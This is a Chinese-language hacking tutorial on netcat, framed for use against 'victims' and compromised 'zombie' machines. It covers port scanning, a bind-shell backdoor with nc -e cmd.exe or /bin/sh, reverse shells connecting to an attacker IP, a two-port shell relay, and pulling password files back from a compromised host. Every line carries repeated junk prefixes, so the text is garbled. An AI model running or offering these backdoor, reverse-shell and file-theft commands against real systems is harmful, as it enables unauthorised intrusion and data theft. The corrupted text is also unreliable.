BYS lKTh BYS lKTh BYS lKTh 黑客瑞士军刀NC使用教程
BYS lKTh BYS lKTh 1. 写在前面的话
BYS lKTh BYS lKTh ######################################################################
BYS lKTh BYS lKTh NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大.
BYS lKTh BYS lKTh 对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
BYS lKTh BYS lKTh 1.1 NC.EXE是一个非标准的telnet客户端程序,
BYS lKTh BYS lKTh 1.2 还有一个putty.exe客户端程序,提供四种连接模式
BYS lKTh BYS lKTh -raw -telnet -rlogin -ssh.
BYS lKTh BYS lKTh 虽然现在也新出了GUI版的中文“NC”，但是相比起来还是这个好用。

BYS lKTh BYS lKTh 2. Netcat 1.10 for NT 帮助信息
BYS lKTh BYS lKTh ######################################################################
BYS lKTh BYS lKTh C:\WINDOWS\Desktop>nc -h
BYS lKTh BYS lKTh [v1.10 NT]
BYS lKTh BYS lKTh connect to somewhere: nc [-options] hostname port[s] [ports] ...
BYS lKTh BYS lKTh listen for inbound: nc -l -p port [options] [hostname] [port]
BYS lKTh BYS lKTh options:
BYS lKTh BYS lKTh -d detach from console, background mode (后台模式)
BYS lKTh BYS lKTh -e prog inbound program to exec [dangerous!!]
BYS lKTh BYS lKTh -g gateway source-routing hop point[s], up to 8
BYS lKTh BYS lKTh -G num source-routing pointer: 4, 8, 12, ...
BYS lKTh BYS lKTh -h this cruft (本帮助信息)
BYS lKTh BYS lKTh -i secs delay interval for lines sent, ports scanned (延迟时间)
BYS lKTh BYS lKTh -l listen mode, for inbound connects (监听模式,等待连接)
BYS lKTh BYS lKTh -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
BYS lKTh BYS lKTh -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
BYS lKTh BYS lKTh -o file hex dump of traffic (十六进制模式输出文件,三段)
BYS lKTh BYS lKTh -p port local port number (本地端口)
BYS lKTh BYS lKTh -r randomize local and remote ports (随机本地远程端口)
BYS lKTh BYS lKTh -s addr local source address (本地源地址)
BYS lKTh BYS lKTh -t answer TELNET negotiation
BYS lKTh BYS lKTh -u UDP mode
BYS lKTh BYS lKTh -v verbose [use twice to be more verbose] (-vv 更多信息)
BYS lKTh BYS lKTh -w secs timeout for connects and final net reads
BYS lKTh BYS lKTh -z zero-I/O mode [used for scanning] (扫描模式,-vv)
BYS lKTh BYS lKTh port numbers can be individual or ranges: m-n [inclusive]

BYS lKTh BYS lKTh 3. Netcat 1.10 常用的命令格式
BYS lKTh BYS lKTh ######################################################################
BYS lKTh BYS lKTh 3.1.端口的刺探：
BYS lKTh BYS lKTh nc -vv ip port
BYS lKTh BYS lKTh RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
BYS lKTh BYS lKTh BYS lKTh BYS lKTh 3.2.扫描器
BYS lKTh BYS lKTh nc -vv -w 5 ip port-port port
BYS lKTh BYS lKTh nc -vv -z ip port-port port
BYS lKTh BYS lKTh 这样扫描会留下大量的痕迹，系统管理员会额外小心
BYS lKTh BYS lKTh BYS lKTh BYS lKTh 3.3. 后门
BYS lKTh BYS lKTh victim machine: //受害者的机器
BYS lKTh BYS lKTh nc -l -p port -e cmd.exe //win2000
BYS lKTh BYS lKTh nc -l -p port -e /bin/sh //unix,linux
BYS lKTh BYS lKTh attacker machine: //攻击者的机器.
BYS lKTh BYS lKTh nc ip -p port //连接victim_IP,然后得到一个shell。
BYS lKTh BYS lKTh BYS lKTh BYS lKTh 3.4.反向连接
BYS lKTh BYS lKTh attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
BYS lKTh BYS lKTh //或者wollf的反向连接.
BYS lKTh BYS lKTh nc -vv -l -p port
BYS lKTh BYS lKTh victim machine:
BYS lKTh BYS lKTh nc -e cmd.exe attacker ip -p port
BYS lKTh BYS lKTh nc -e /bin/sh attacker ip -p port
BYS lKTh BYS lKTh BYS lKTh BYS lKTh 或者：
BYS lKTh BYS lKTh attacker machine:
BYS lKTh BYS lKTh nc -vv -l -p port1 /*用于输入*/
BYS lKTh BYS lKTh nc -vv -l -p prot2 /*用于显示*/
BYS lKTh BYS lKTh victim machine:
BYS lKTh BYS lKTh nc attacker_ip port1 cmd.exe nc attacker_ip port2
BYS lKTh BYS lKTh nc attacker_ip port1 /bin/sh nc attacker_ip port2
BYS lKTh BYS lKTh BYS lKTh BYS lKTh 139要加参数-s（nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP）
BYS lKTh BYS lKTh 这样就可以保证nc.exe优先于NETBIOS。
BYS lKTh 3.5.传送文件：
BYS lKTh BYS lKTh 3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.
BYS lKTh BYS lKTh nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell执行
BYS lKTh BYS lKTh nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl C退出
BYS lKTh BYS lKTh //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl C.
BYS lKTh BYS lKTh (r.{v@h,dV (r.{v@h,dV 3.5.2 attacker machine victim machine //上传命令文件到肉鸡
(r.{v@h,dV (r.{v@h,dV nc －vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl C退出
(r.{v@h,dV (r.{v@h,dV nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell执行
(r.{v@h,dV (r.{v@h,dV //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
(r.{v@h,dV (r.{v@h,dV (r.{v@h,dV (r.{v@h,dV 结论: 可以传输ascii,bin文件.可以传输程序文件.
(r.{v@h,dV (r.{v@h,dV (r.{v@h,dV (r.{v@h,dV 问题:连接某个ip后,传送完成后,需要发送Ctrl C退出nc.exe .
(r.{v@h,dV (r.{v@h,dV 或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
